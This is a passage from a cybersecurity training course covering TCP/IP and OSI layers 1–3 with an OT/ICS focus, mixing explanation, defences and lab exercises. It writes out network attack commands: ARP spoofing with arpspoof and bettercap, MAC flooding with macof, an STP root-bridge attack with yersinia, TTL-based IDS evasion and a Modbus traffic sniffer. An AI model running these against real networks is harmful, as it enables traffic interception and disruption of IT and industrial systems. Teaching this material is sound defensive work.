Modify or inject: Change setpoints, force coil states, or replay commands

# Conceptual Modbus command interception using Scapy (educational):
from scapy.all import *
from scapy.contrib.modbus import ModbusADURequest

# In a real attack scenario (authorized lab only):
# ARP poisoning positions attacker in path
# Then capture and modify Modbus TCP traffic passing through

def inspect_modbus(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].dport == 502:
        print(f"Modbus command from {pkt[IP].src} to {pkt[IP].dst}")
        # Payload is the Modbus ADU
        if pkt.haslayer(Raw):
            data = bytes(pkt[Raw])
            if len(data) >= 8:
                func_code = data[7]
                print(f"  Function code: {func_code} ({hex(func_code)})")

sniff(filter="tcp port 502", prn=inspect_modbus, store=0)

12.3 TCP/IP Security Controls for OT

Priority 1 — Network Segmentation:
  OT network MUST be isolated from IT network
  Use: dedicated firewall, DMZ for data exchange
  Not acceptable: direct routing between IT and OT VLANs

Priority 2 — Protocol Whitelisting:
  Firewall between zones should only allow specific OT protocols
  Allow: Modbus TCP (502) from HMI IPs to PLC IPs ONLY
  Block: All other traffic by default
  Log: All denied traffic for anomaly detection

Priority 3 — IP Addressing:
  Use RFC1918 addresses not routable from internet
  Separate OT subnets from IT subnets (different /24 ranges)
  Document all static IP assignments

Priority 4 — ARP/NDP Monitoring:
  Deploy arpwatch or commercial OT asset monitoring (Claroty, Nozomi)
  Alert on any ARP changes in OT network
  OT networks change slowly — any ARP change is suspicious

Priority 5 — Encrypted Management:
  Use SSH instead of Telnet for device management
  Use SNMPv3 instead of v1/v2c
  Disable HTTP management, use HTTPS
  VPN with MFA for remote access

13. Hands-On Exercises

Exercise 1: TCP Handshake Analysis (45 minutes)

# Capture a complete TCP session and analyse every field

# Start capture — focus on HTTP (unencrypted for full visibility)
sudo tcpdump -i eth0 -w /tmp/tcp_session.pcap 'host neverssl.com and port 80'

# In another terminal:
curl -v http://neverssl.com/ 2>&1 | head -30

# Stop capture (Ctrl+C in tcpdump terminal)

# Open in Wireshark:
wireshark /tmp/tcp_session.pcap

# Tasks:
# 1. Find the SYN packet — what is the client's ISN?
#    Filter: tcp.flags.syn==1 and tcp.flags.ack==0
#
# 2. Find the SYN-ACK — what is the server's ISN?
#    What TCP options does the server advertise?
#    Filter: tcp.flags.syn==1 and tcp.flags.ack==1
#
# 3. Find the final ACK — verify: ack = server_ISN + 1
#
# 4. Find the HTTP GET request
#    What sequence number does it start with?
#    How large is the payload?
#    Filter: http.request
#
# 5. Find the FIN packets — count the four-way termination
#    Filter: tcp.flags.fin==1
#
# 6. Statistics → TCP Stream Graph → Time Sequence (tcptrace)
#    Visualise the sequence numbers over time

# Command-line analysis with tshark:
tshark -r /tmp/tcp_session.pcap -Y "tcp" -T fields \
    -e frame.time_relative \
    -e ip.src \
    -e ip.dst \
    -e tcp.srcport \
    -e tcp.dstport \
    -e tcp.flags \
    -e tcp.seq \
    -e tcp.ack \
    -e tcp.window_size_value

Exercise 2: ARP Analysis and Simulation (1 hour)

# Part 1: Capture and analyse normal ARP
sudo tcpdump -i eth0 -n 'arp' -v &   # Background capture
sleep 2
ping -c 1 $(ip route | grep default | awk '{print $3}')   # Ping gateway (triggers ARP)
sleep 2
kill %1

# Analyse:
# - What was the ARP request? (broadcast to FF:FF:FF:FF:FF:FF)
# - What was the ARP reply?
# - What EtherType identifies ARP?
# - What is the difference in packet size between request and reply?

# Part 2: Examine your ARP cache
ip neigh show
# For each entry, note:
# - IP address
# - Device (interface)
# - MAC address
# - State: REACHABLE/STALE/DELAY/PROBE/FAILED

# Part 3: Write an ARP detection script
cat > /tmp/arp_monitor.py << 'EOF'
#!/usr/bin/env python3
"""
ARP Monitor — detect MAC address changes indicating ARP poisoning
"""
from scapy.all import sniff, ARP, Ether
from collections import defaultdict
import time

ip_mac_map = {}

def process_arp(pkt):
    if pkt.haslayer(ARP):
        if pkt[ARP].op == 2:  # ARP Reply (is-at)
            ip = pkt[ARP].psrc
            mac = pkt[ARP].hwsrc
            timestamp = time.strftime('%H:%M:%S')

            if ip in ip_mac_map:
                if ip_mac_map[ip] != mac:
                    print(f"[{timestamp}] [ALERT] ARP CHANGE DETECTED!")
                    print(f"  IP: {ip}")
                    print(f"  OLD MAC: {ip_mac_map[ip]}")
                    print(f"  NEW MAC: {mac}")
                    print(f"  Possible ARP poisoning attack!")
                else:
                    print(f"[{timestamp}] [OK] {ip} → {mac} (unchanged)")
            else:
                ip_mac_map[ip] = mac
                print(f"[{timestamp}] [NEW] {ip} → {mac}")

print("ARP monitor started. Watching for MAC changes...")
sniff(filter="arp", prn=process_arp, store=0)
EOF
chmod +x /tmp/arp_monitor.py
sudo python3 /tmp/arp_monitor.py

Exercise 3: IPv4 Subnetting Practice (30 minutes)

# Use Python to build intuition for subnetting:
python3 << 'EOF'
import ipaddress

# Common subnetting scenarios in security:

# 1. Given an IP and subnet, find all hosts:
net = ipaddress.ip_network("10.10.10.0/24", strict=False)
print(f"Network: {net}")
print(f"Total addresses: {net.num_addresses}")
print(f"Usable hosts: {net.num_addresses - 2}")
print(f"First host: {list(net.hosts())[0]}")
print(f"Last host: {list(net.hosts())[-1]}")
print(f"Broadcast: {net.broadcast_address}")

# 2. Determine if two IPs are on the same subnet:
ip1 = ipaddress.ip_interface("192.168.1.50/24")
ip2 = ipaddress.ip_interface("192.168.1.100/24")
ip3 = ipaddress.ip_interface("192.168.2.50/24")
print(f"\n{ip1.ip} and {ip2.ip} same network? {ip1.network == ip2.network}")
print(f"{ip1.ip} and {ip3.ip} same network? {ip1.network == ip3.network}")

# 3. Summarise a list of addresses (useful for firewall rules):
addresses = [
    "10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4",
    "10.0.0.5", "10.0.0.6", "10.0.0.7"
]
addr_objects = [ipaddress.ip_address(a) for a in addresses]
summary = list(ipaddress.collapse_addresses(addr_objects))
print(f"\nSummarised {len(addresses)} IPs into {len(summary)} range(s):")
for s in summary:
    print(f"  {s}")

# 4. Split a network into subnets (useful for network design):
big_net = ipaddress.ip_network("192.168.0.0/22")
subnets = list(big_net.subnets(new_prefix=24))
print(f"\n/22 split into /24 subnets:")
for s in subnets:
    print(f"  {s} — {s.num_addresses - 2} hosts")
EOF

Exercise 4: ICMP Recon and Detection (30 minutes)

# ICMP-based network reconnaissance:

# 1. Host discovery using different ICMP types
sudo nmap -sn -PE 192.168.1.0/24    # Echo Request (standard ping)
sudo nmap -sn -PP 192.168.1.0/24    # Timestamp Request (Type 13)
sudo nmap -sn -PM 192.168.1.0/24    # Address Mask Request (Type 17)
# Compare results — some hosts respond to some types but not others

# 2. Traceroute analysis
mtr --report --report-cycles 5 8.8.8.8
# Save output and analyse:
# - Which hops have 100% packet loss? (ICMP Type 11 not returned — not necessarily down)
# - Which hops have variable latency? (congestion)
# - Where does the TTL drop occur geographically? (infer location from latency)

# 3. Detect and block ICMP tunnel attempts
# ICMP tunnels use large payloads — detect with:
sudo tcpdump -i eth0 'icmp and (icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply) and length > 200'

# 4. Block ICMP redirect acceptance (hardening):
sudo sysctl net.ipv4.conf.all.accept_redirects          # Check current
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0     # Disable
sudo sysctl -w net.ipv4.conf.all.secure_redirects=0     # Disable even from gateways
sudo sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1   # Disable broadcast ping response

14. Module Summary

Topic	Core Mechanism	Attack Relevance	Defence
TCP/IP Model	4-layer encapsulation	Every attack traverses the stack	Defence must cover all layers
TCP	Reliable, ordered, connection-oriented byte stream	SYN flood, session hijacking, RST injection, port scanning	SYN cookies, stateful firewalls, randomised ISN
UDP	Connectionless, unreliable, low overhead	Amplification DDoS, IP spoofing, loose firewall bypass	BCP38, rate limiting, stateful UDP tracking
TCP Handshake	SYN→SYN-ACK→ACK establishes bidirectional ISN exchange	SYN flood exploits half-open state	SYN cookies defer state allocation
TCP Termination	FIN→ACK→FIN→ACK graceful close	TIME_WAIT exhaustion, RST injection	RST validation, TIME_WAIT tuning
TCP Internals	Sliding window, congestion control, keepalive	Zero-window DoS, ACK throttling	Tune keepalive, monitor window behaviour
IPv4	32-bit hierarchical addressing	IP spoofing, ICMP attacks, fragmentation attacks	BCP38, fragment reassembly at border
Special ranges	RFC1918, APIPA, loopback, multicast	AWS metadata (169.254.169.254) SSRF, internal recon	Firewall cloud metadata endpoints
CIDR/Subnetting	Variable-length prefix for network/host split	Network enumeration, scope determination	Minimal subnet sizes, VLAN isolation
NAT	Port-based translation of private to public IP	Hides internal network topology, C2 bypasses NAT	Logging NAT translations for forensics
IPv6	128-bit addressing, NDP, multicast-based	Rogue RA attacks, NDP spoofing, bypasses IPv4-only security	RA Guard, dual-stack firewalling, disable unused IPv6
ICMP	Network diagnostic and error reporting	Ping of Death, Smurf, ICMP redirect, ICMP tunnel	Drop/rate-limit ICMP, disable redirects, detect large payloads
ARP	L2 IP-to-MAC resolution, no authentication	ARP poisoning → MITM → intercept plaintext protocols	DAI, arpwatch, 802.1X, static critical entries

Next Module: Stage 1.4 — IP Addressing and Subnetting

Previous Module: Stage 1.2 — OSI Model

Series Index: Full Roadmap

Stage 1.2 — The OSI Model

Rençber AKMAN — Mon, 01 Jun 2026 04:17:03 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.2 — The OSI Model

Level: Beginner → Advanced

Prerequisites: Stage 1.1 — Network Concepts

Next Module: 1.3 — TCP/IP Model

Why the OSI Model Is the Security Professional's Mental Framework
OSI Model Overview — The Seven Layers
Layer 1 — Physical
Layer 2 — Data Link
Layer 3 — Network
Layer 4 — Transport
Layer 5 — Session
Layer 6 — Presentation
Layer 7 — Application
Encapsulation and Decapsulation — The Full Picture
OSI vs TCP/IP — Where Theory Meets Reality
Attacking Across the Stack — Layer-by-Layer Threat Map
OSI in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why the OSI Model Is the Security Professional's Mental Framework

Every security tool you will ever use operates at one or more specific layers of the OSI model. Every attack targets one or more specific layers. Every defence protects one or more specific layers. The moment you internalise OSI, you gain the ability to think about any network interaction — attack, defence, or forensics — with structural precision.

Without OSI, security concepts become a disconnected list of techniques to memorise. With OSI, every technique has a logical home. You stop memorising and start reasoning.

Concrete examples of why this matters in practice:

When an alert fires in your SIEM saying "suspicious DNS traffic," you immediately know: DNS is Application Layer (L7). The alert is about behaviour at L7. The traffic still had to cross L1-L6 to get there. You know to check: is this DNS tunnelling (L7 data being abused to exfiltrate data)? Is the DNS server reachable only because a firewall rule was misconfigured at L3? Did an ARP poisoning attack at L2 redirect the DNS query to a rogue resolver?

When a penetration tester reports "VLAN hopping vulnerability," you immediately know: VLANs are L2. The attack abuses how switches handle 802.1Q tagging at L2 to reach network segments that should be logically separated.

When a blue teamer says "we need to implement TLS inspection," you immediately know: TLS is L6 (Presentation). Inspection requires terminating the TLS session at the inspection appliance (L6 operation) and re-encrypting to the destination. This has specific forensic and privacy implications.

For OT/ICS environments: Industrial protocols map to the OSI model just like IT protocols, but the mapping is often unusual and the security controls present at each layer are drastically fewer. A Modbus TCP transaction starts at L7 (the Modbus application protocol) but has no authentication at any layer. Understanding exactly which OSI layer provides (or fails to provide) security in an industrial network is the foundation of OT security assessment.

The OSI model was published by ISO in 1984. It was designed as a theoretical framework for interoperability — not specifically for security. But its structure accidentally created the perfect mental model for security analysis, because it separates concerns with exactly the granularity that security work requires.

2. OSI Model Overview — The Seven Layers

2.1 The Stack

┌──────────────────────────────────────────────────────────────┐
│  Layer 7 — Application    │ HTTP, HTTPS, DNS, SMTP, FTP,    │
│                           │ SMB, Modbus, DNP3, IEC 61850    │
├──────────────────────────────────────────────────────────────┤
│  Layer 6 — Presentation   │ TLS/SSL, JPEG, MPEG, ASCII,     │
│                           │ Base64, Encryption/Compression   │
├──────────────────────────────────────────────────────────────┤
│  Layer 5 — Session        │ NetBIOS, RPC, SQL sessions,     │
│                           │ TLS handshake (session setup)    │
├──────────────────────────────────────────────────────────────┤
│  Layer 4 — Transport      │ TCP, UDP, SCTP, QUIC            │
├──────────────────────────────────────────────────────────────┤
│  Layer 3 — Network        │ IPv4, IPv6, ICMP, IPSec,        │
│                           │ OSPF, BGP, ARP*                  │
├──────────────────────────────────────────────────────────────┤
│  Layer 2 — Data Link      │ Ethernet, Wi-Fi (802.11),       │
│                           │ ARP, VLAN (802.1Q), STP         │
├──────────────────────────────────────────────────────────────┤
│  Layer 1 — Physical       │ Copper, Fibre, Radio waves,     │
│                           │ Electrical signals, RS-485       │
└──────────────────────────────────────────────────────────────┘

2.2 The Memory Device

Two mnemonics used by every network professional. Learn both — they appear in different directions depending on context:

Top to Bottom (L7 → L1): "All People Seem To Need Data Processing"

All → Application (7)
People → Presentation (6)
Seem → Session (5)
To → Transport (4)
Need → Network (3)
Data → Data Link (2)
Processing → Physical (1)

Bottom to Top (L1 → L7): "Please Do Not Throw Sausage Pizza Away"

Please → Physical (1)
Do → Data Link (2)
Not → Network (3)
Throw → Transport (4)
Sausage → Session (5)
Pizza → Presentation (6)
Away → Application (7)

2.3 The Core Principle — Layer Independence

Each layer:

Provides services to the layer above it
Uses services from the layer below it
Communicates logically with the same layer on the remote device
Does not care about the implementation details of other layers

This independence is both the power of the model and its security weakness. A layer cannot inherently verify that the layer below it is functioning correctly or hasn't been compromised. L7 application code assumes L4 is delivering data reliably. It does not verify that L2 hasn't been poisoned. This trust between layers is exploited constantly.

2.4 PDU — Protocol Data Unit

Each layer has a name for its unit of data:

Layer	PDU Name	Contains
7 — Application	Data / Message	Application payload
6 — Presentation	Data	Formatted/encrypted data
5 — Session	Data	Session-managed data
4 — Transport	Segment (TCP) / Datagram (UDP)	Port numbers + data
3 — Network	Packet	IP addresses + segment
2 — Data Link	Frame	MAC addresses + packet
1 — Physical	Bits	Raw binary signal

When you look at a Wireshark capture, every packet is one of these PDUs. Knowing the terminology eliminates confusion when reading security documentation, CVE descriptions, and tool outputs.

3. Layer 1 — Physical

3.1 What Layer 1 Does

Layer 1 is the medium. It defines how bits — ones and zeros — are physically transmitted between devices. It deals with:

Signalling: How a bit 1 is distinguished from a bit 0 on the medium. In copper Ethernet, voltage levels. In fibre, light pulses. In Wi-Fi, radio wave modulation.
Bit rate: How many bits per second the medium can carry
Physical connectors: RJ-45 (Ethernet), LC/SC (fibre), SMA (coaxial/RF)
Cabling standards: Cat5e, Cat6, Cat6a, single-mode fibre, multi-mode fibre
Signal encoding: Manchester encoding, 4B/5B, PAM4 — how bits map to physical signals

Layer 1 has no concept of addressing, error correction, or protocol. It simply converts bits into physical signals and physical signals back into bits.

3.2 Layer 1 Technologies

Copper Ethernet (IEEE 802.3):

Cat5e:  1 Gbps  up to 100m
Cat6:   1 Gbps  up to 100m, 10 Gbps up to 55m
Cat6a:  10 Gbps up to 100m
Cat8:   40 Gbps up to 30m (data centre)

Connector: RJ-45 (8P8C)
Signalling: Differential voltage on twisted pairs
          1000BASE-T uses all 4 pairs simultaneously

Fibre Optic:

Multi-mode fibre (MMF):  
  OM3/OM4: 10 Gbps up to 300m (data centre, short runs)
  Orange/aqua jacket
  LED light source

Single-mode fibre (SMF):
  OS2: 10 Gbps up to 80km, 100 Gbps up to 40km
  Yellow jacket
  Laser light source
  Used for WAN, campus backbone, undersea cables

Wireless (IEEE 802.11):

2.4 GHz band: longer range, more interference, slower
5 GHz band:   shorter range, less interference, faster
6 GHz band:   Wi-Fi 6E only, very short range, very fast

802.11n (Wi-Fi 4):  600 Mbps theoretical
802.11ac (Wi-Fi 5): 3.5 Gbps theoretical
802.11ax (Wi-Fi 6): 9.6 Gbps theoretical

Industrial Physical Layer (OT/ICS):

RS-232:  Serial, point-to-point, ±12V signalling, up to 20 kbps
         Used for: legacy HMI/PLC connections, console ports on network devices

RS-485:  Serial, multi-drop bus, ±5V differential signalling, up to 10 Mbps
         Used for: Modbus RTU (the dominant industrial protocol)
         Up to 32 devices on one bus, up to 1200m

CAN bus: Controller Area Network, differential, up to 1 Mbps
         Used for: automotive, some industrial sensors

Profibus PA: 31.25 kbps, intrinsically safe for hazardous areas
             Used for: process automation field devices

4-20mA loop: Analogue, not digital — carries a current signal
             representing a physical measurement
             Still extremely common in field instrumentation

3.3 Layer 1 Security Threats

Physical Wiretapping:
Copper cables can be tapped by physically accessing the cable and connecting monitoring equipment. This does not require breaking the cable — a vampire tap or inductive coupler can intercept traffic without creating a visible break. Fibre is harder to tap without detection because bending fibre causes measurable light loss, but specialist equipment exists for covert fibre taps.

Nation-state level physical tapping is documented: the NSA's Room 641A at AT&T facilities, revealed in 2006, was a room that split fibre traffic for surveillance. The Snowden documents described submarine cable tap programmes.

Signal Jamming:
Radio-frequency jamming disrupts wireless communications by overwhelming the signal with noise. Relevant for:

Wi-Fi networks (denial of service at Layer 1)
Industrial wireless sensor networks (Zigbee, WirelessHART, ISA100.11a)
GPS jamming affecting time synchronisation (critical for power grid protection systems that rely on GPS-derived timestamps for phasor measurement)

Hardware Implants:
Nation-state actors have demonstrated hardware implants inserted into network cables and equipment that passively capture traffic. The ANT catalogue (Snowden documents) described implants including COTTONMOUTH (implanted in USB cables) and HALLUXWATER (firmware backdoor in Huawei routers).

At an industrial level, the supply chain for PLC hardware, field instruments, and communication cards represents a physical layer attack surface that is rarely audited.

Rogue Access Points:
Plugging an unauthorised device into a physical network port is a Layer 1 attack — it requires physical access but bypasses all logical security controls. Once connected, the rogue device has Layer 1 access equivalent to any legitimate device.

Power Analysis Side-Channel (covered in Stage 0.1):
Physical measurement of power consumption during cryptographic operations. Relevant to smart meters, smart cards, HSMs, and industrial devices.

3.4 Layer 1 in Practice

# Check physical interface status on Linux
ip link show                        # All interfaces and their states
ip link show eth0                   # Specific interface
ethtool eth0                        # Physical layer details: speed, duplex, link status

# Example ethtool output:
# Speed: 1000Mb/s
# Duplex: Full
# Link detected: yes
# Port: Twisted Pair
# Auto-negotiation: on

# Check for physical errors (CRC errors, collisions indicate cabling issues)
ethtool -S eth0 | grep -E "error|drop|miss|crc"

# On Windows:
# Get-NetAdapter | Select-Object Name, Status, LinkSpeed, MediaType
# netsh interface show interface

# Wireless physical layer details
iwconfig wlan0                      # Legacy wireless info
iw dev wlan0 info                   # Modern wireless info
iw dev wlan0 link                   # Current link quality, signal strength, noise

# Signal strength is measured in dBm (decibel-milliwatts)
# -30 dBm: excellent
# -67 dBm: good (recommended minimum for voice/video)
# -80 dBm: poor
# -90 dBm: unusable

Key Insight: Physical security IS Layer 1 security. All logical security controls can be bypassed by an attacker with sufficient physical access. The reason secure facilities have strict physical access controls, cable management policies, and hardware inventory audits is that once physical access is granted, every layer above it is potentially compromised. In OT environments where control system cabinets may be in unmanned remote locations, this is existential.

4. Layer 2 — Data Link

4.1 What Layer 2 Does

Layer 2 is responsible for reliable transmission of data between two directly connected devices. It does two things that Layer 1 cannot:

Framing: Packages raw bits into structured frames with a beginning, end, source, and destination
Error detection: Detects (but usually not corrects) transmission errors using checksums

Layer 2 introduces the concept of hardware addressing — MAC addresses — which identify devices on the same network segment. Every NIC has a MAC address burned in at manufacturing time (though it can be overridden in software).

Layer 2 is bounded by network devices that operate at L2: switches and bridges. A packet crossing a switch stays within the same Layer 2 domain. A packet crossing a router leaves one Layer 2 domain and enters another.

4.2 Ethernet Frame Deep Dive

Ethernet II Frame:
 ┌──────────┬──────────┬───────────┬──────────────────────┬──────────┐
 │ Dst MAC  │ Src MAC  │ EtherType │       Payload        │   FCS    │
 │ 6 bytes  │ 6 bytes  │  2 bytes  │   46 - 1500 bytes    │ 4 bytes  │
 └──────────┴──────────┴───────────┴──────────────────────┴──────────┘

EtherType values (critical for security — identifies L3 protocol):
  0x0800 → IPv4
  0x0806 → ARP
  0x86DD → IPv6
  0x8100 → 802.1Q VLAN tagged frame
  0x8847 → MPLS
  0x88CC → LLDP (Link Layer Discovery Protocol)
  0x88E1 → HomePlug AV (powerline networking)
  0x88F7 → PTP (Precision Time Protocol — used in OT time synchronisation)
  0x88BA → IEC 61850 GOOSE
  0x88CD → IEC 61850 SAMPLED VALUES

FCS: Frame Check Sequence
  CRC-32 checksum over the entire frame
  Calculated by sender, verified by receiver
  A frame with a bad FCS is discarded silently
  High FCS error rates indicate physical layer problems (bad cable, interference)

802.1Q VLAN Tagging:

Standard Ethernet II:
 [Dst MAC][Src MAC][EtherType][Payload][FCS]

802.1Q Tagged Frame:
 [Dst MAC][Src MAC][0x8100][TCI][EtherType][Payload][FCS]
                    ──────  ───
                    Tag     Tag Control Information
                    Protocol  ├── PCP: Priority Code Point (QoS, 3 bits)
                    Identifier├── DEI: Drop Eligible Indicator (1 bit)
                              └── VID: VLAN ID (12 bits, 0-4095)

VLAN 0:    Reserved
VLAN 1:    Default VLAN (most switches, traffic not explicitly tagged)
VLAN 4094: Often used for management
VLAN 4095: Reserved

4.3 Switches — The Core L2 Device

A switch builds and maintains a MAC address table (also called CAM table — Content Addressable Memory). When a frame arrives:

Switch reads source MAC → adds to MAC table with the incoming port
Switch reads destination MAC → looks up in MAC table
If found → forward frame only to that port (unicast)
If not found → flood frame to all ports except source port (unknown unicast)
If destination is broadcast (FF:FF:FF:FF:FF:FF) → flood to all ports

# View switch MAC address table (Cisco IOS)
show mac address-table
show mac address-table dynamic         # Only learned entries
show mac address-table address <MAC>   # Find which port a MAC is on

# On Linux acting as a bridge
bridge fdb show                        # Show forwarding database

4.4 ARP — Address Resolution Protocol

ARP resolves IPv4 addresses to MAC addresses. When a device wants to send an IP packet to another device on the same subnet, it needs the MAC address to construct the Ethernet frame.

ARP Request (broadcast):
  Who has 192.168.1.1? Tell 192.168.1.5

  [Src MAC: AA:BB:CC:DD:EE:FF]
  [Dst MAC: FF:FF:FF:FF:FF:FF]  ← Broadcast
  [EtherType: 0x0806]
  [Operation: Request (1)]
  [Sender MAC: AA:BB:CC:DD:EE:FF]
  [Sender IP:  192.168.1.5]
  [Target MAC: 00:00:00:00:00:00]  ← Unknown
  [Target IP:  192.168.1.1]

ARP Reply (unicast):
  192.168.1.1 is at 11:22:33:44:55:66

  [Src MAC: 11:22:33:44:55:66]
  [Dst MAC: AA:BB:CC:DD:EE:FF]  ← Direct to requester
  [EtherType: 0x0806]
  [Operation: Reply (2)]
  [Sender MAC: 11:22:33:44:55:66]
  [Sender IP:  192.168.1.1]
  [Target MAC: AA:BB:CC:DD:EE:FF]
  [Target IP:  192.168.1.5]

The critical security flaw in ARP:
ARP has no authentication. Any device can send an ARP reply claiming any IP-to-MAC mapping. Devices accept and cache unsolicited ARP replies without verification. This is the foundation of ARP spoofing.

# View ARP cache
arp -a                              # Linux/Windows
ip neigh show                       # Linux (modern)

# ARP spoofing with arpspoof (dsniff package)
# This tells all hosts on the network that 192.168.1.1 (gateway)
# is at the attacker's MAC address:
sudo arpspoof -i eth0 -t 192.168.1.0/24 192.168.1.1
# AND tell the gateway that all hosts are at attacker's MAC:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.0/24

# Enable IP forwarding so the attacker machine actually forwards the traffic:
echo 1 > /proc/sys/net/ipv4/ip_forward

# Now all traffic between hosts and gateway passes through attacker → MITM

# More modern tool: Bettercap
sudo bettercap -iface eth0
# bettercap> net.probe on
# bettercap> arp.spoof.targets 192.168.1.0/24
# bettercap> arp.spoof on
# bettercap> net.sniff on

# Detection: monitor ARP traffic for duplicate IP-to-MAC mappings
sudo arpwatch -i eth0               # Alerts on ARP anomalies
# Or in Wireshark: filter "arp" and look for:
# - Same IP claimed by two different MACs
# - High frequency of gratuitous ARP replies

4.5 Layer 2 Attack Surface

MAC Flooding (CAM Table Overflow):
A switch's MAC table has finite capacity (typically 8,000-128,000 entries). If an attacker floods the switch with frames containing random source MAC addresses, the table fills up. When the table is full, the switch cannot learn new MAC addresses and falls back to flooding ALL frames to ALL ports — behaving like a hub.

Result: The attacker's NIC in promiscuous mode receives all traffic on the switch, including traffic between other devices.

# MAC flooding with macof (dsniff)
sudo macof -i eth0                  # Floods with random MAC frames
# Generates ~155,000 packets/second
# Most modern switches have MAC flooding protection (port security)
# but legacy switches and some industrial switches do not

VLAN Hopping:
Two methods to reach VLANs an attacker should not have access to:

Method 1: Switch Spoofing
If a switch port is configured as "dynamic" (DTP — Dynamic Trunking Protocol enabled), an attacker can negotiate a trunk link with the switch, receiving traffic from ALL VLANs.

Normal access port: carries traffic for one VLAN only
Trunk port: carries traffic for multiple VLANs (tagged with 802.1Q)

Attack: Send DTP packets to negotiate trunk mode on an access port
Result: Attacker receives all VLANs

Prevention: Explicitly disable DTP — configure ports as access or trunk, never dynamic
Cisco: switchport nonegotiate
      switchport mode access  (for access ports)

Method 2: Double Tagging
Works only if the attacker is on the native VLAN of a trunk port. The attacker sends a frame with TWO 802.1Q tags:

Outer tag: native VLAN (removed by first switch)
Inner tag: target VLAN (forwarded by second switch)

Attacker frame: [Outer Tag: VLAN 1][Inner Tag: VLAN 100][Payload]

Switch 1: Removes outer tag (VLAN 1 is native, strip tag), forwards
Switch 2: Sees inner tag VLAN 100, forwards to VLAN 100

The reply cannot return via this method (unidirectional)
But for sending traffic (injecting attacks, DoS), this works

Prevention: Never use VLAN 1 as native VLAN
            Change native VLAN to an unused VLAN (e.g., VLAN 999)

STP Attacks — Spanning Tree Protocol:
STP (IEEE 802.1D) prevents Layer 2 loops in networks with redundant paths. It elects a root bridge and blocks redundant links. If the root bridge changes, STP reconverges — temporarily disrupting the network.

STP attack: Send BPDUs (Bridge Protocol Data Units) with a lower
            bridge priority than the current root bridge
Result:     Attacker's machine becomes the root bridge
            Traffic reroutes through attacker's machine → MITM
            STP reconvergence causes network disruption (seconds to minutes)

Tools: Yersinia (Layer 2 attack tool — STP, CDP, VTP, DTP attacks)
sudo yersinia -G                    # GUI mode
sudo yersinia stp -attack 0        # Send superior BPDUs to become root bridge

Prevention:
  BPDU Guard: Disable port if BPDU received on access port (PortFast ports)
  Root Guard: Prevent specific ports from becoming root bridge ports
  BPDU Filter: Don't send/receive BPDUs on specific ports

LLDP/CDP Information Disclosure:
LLDP (Link Layer Discovery Protocol, IEEE 802.1AB) and CDP (Cisco Discovery Protocol) are L2 protocols that advertise device information to neighbours.

# Capture LLDP packets to enumerate network devices
sudo tcpdump -i eth0 ether proto 0x88cc -v    # LLDP EtherType
# Reveals: device name, port description, VLAN info, IP address, hardware model

# Wireshark filter: lldp or cdp
# In a corporate network, CDP/LLDP can reveal the entire network topology

# Prevention: Disable CDP/LLDP on untrusted ports (user-facing ports)
# Cisco: no cdp enable  (per interface)
# Linux: sudo lldpad -d; lldptool -L -i eth0 adminStatus=disabled

4.6 Layer 2 in OT/ICS

Industrial Ethernet increasingly uses standard Layer 2 (Ethernet II with 802.1Q). However:

GOOSE and Sampled Values (IEC 61850):
These are Layer 2 protocols — they do NOT use IP. They are sent directly as Ethernet frames with EtherType 0x88BA (GOOSE) and 0x88CD (Sampled Values). This means:

They cannot be filtered by IP firewalls
They cannot be encrypted with TLS (which requires IP)
They traverse the Layer 2 domain freely
An attacker with Layer 2 access can inject, replay, or suppress GOOSE messages

GOOSE messages carry protection relay status. A relay detecting a fault sends a GOOSE message instructing other relays and breakers to trip. Injecting a false GOOSE message can cause protective relays to trip unnecessarily — causing outages. Suppressing GOOSE messages prevents relays from tripping during an actual fault — causing equipment damage.

This is why IEC 62351 exists — it defines security for IEC 61850, including GOOSE message authentication using HMAC-SHA256. Adoption is growing but far from universal.

IEC 62351-6 GOOSE Security:
  - Authentication tag appended to GOOSE message
  - HMAC-SHA256 using pre-shared key or certificate-based key
  - Prevents injection and modification
  - Does NOT prevent replay (separate mechanism needed)
  - Performance impact: minimal on modern hardware, significant on legacy IEDs

Checking for GOOSE in a capture:
sudo tcpdump -i eth0 ether proto 0x88ba   # GOOSE frames

Key Insight: Layer 2 is the most dangerous layer for lateral movement on a LAN. ARP has no authentication. STP has no authentication. VLANs can be hopped. MAC tables can be flooded. All of this happens before any IP firewall or IDS can see the traffic. In OT environments, IEC 61850 GOOSE running at Layer 2 with no authentication represents a direct path to physical consequence. Detecting Layer 2 attacks requires monitoring at Layer 2 — which most organisations fail to implement.

5. Layer 3 — Network

5.1 What Layer 3 Does

Layer 3 enables communication between devices on different networks. While Layer 2 handles same-segment communication, Layer 3 handles routing — forwarding packets across multiple networks to reach a destination anywhere in the world.

Layer 3 introduces logical addressing — IP addresses — which are independent of hardware and can be assigned, changed, and structured hierarchically. This hierarchy (networks, subnets) enables the internet's routing system to scale to billions of devices.

Layer 3 devices: Routers. A router has multiple Layer 3 interfaces, each on a different network. It examines the destination IP of every incoming packet and forwards it toward the destination based on its routing table.

5.2 IP — Internet Protocol

IP is the fundamental Layer 3 protocol. It provides:

Addressing: Source and destination IP addresses
Routing: TTL, fragmentation, options for routing decisions
Connectionless delivery: No guarantee of delivery, ordering, or error-free transmission (that is TCP's job at L4)

IPv4 header fields critical for security (full header covered in 1.1):

TTL (Time to Live):
Decremented by each router. Prevents infinite routing loops. OS fingerprinting uses initial TTL values (Linux=64, Windows=128, Cisco=255). When TTL reaches 0, router sends ICMP Time Exceeded and drops the packet.

# TTL manipulation in attacks:
# Tools like hping3 allow setting arbitrary TTL values
hping3 --ttl 1 target_ip            # Packet dies at first hop (ICMP Time Exceeded response reveals first router)
hping3 --ttl 255 target_ip          # Maximum TTL, reaches anywhere

# TTL-based evasion: some IDSs only inspect packets with TTL > threshold
# Sending packets with very low TTL that will die before reaching IDS but
# be processed by the target if the target is "behind" the IDS
# This is the basis of "TTL manipulation" IDS evasion

Fragmentation:
IP packets can be fragmented when they exceed the MTU of a link. The receiving end reassembles fragments.

Original packet: 4000 bytes (exceeds MTU 1500)

Fragment 1: [IP Header: offset=0, MF=1][1480 bytes of data]
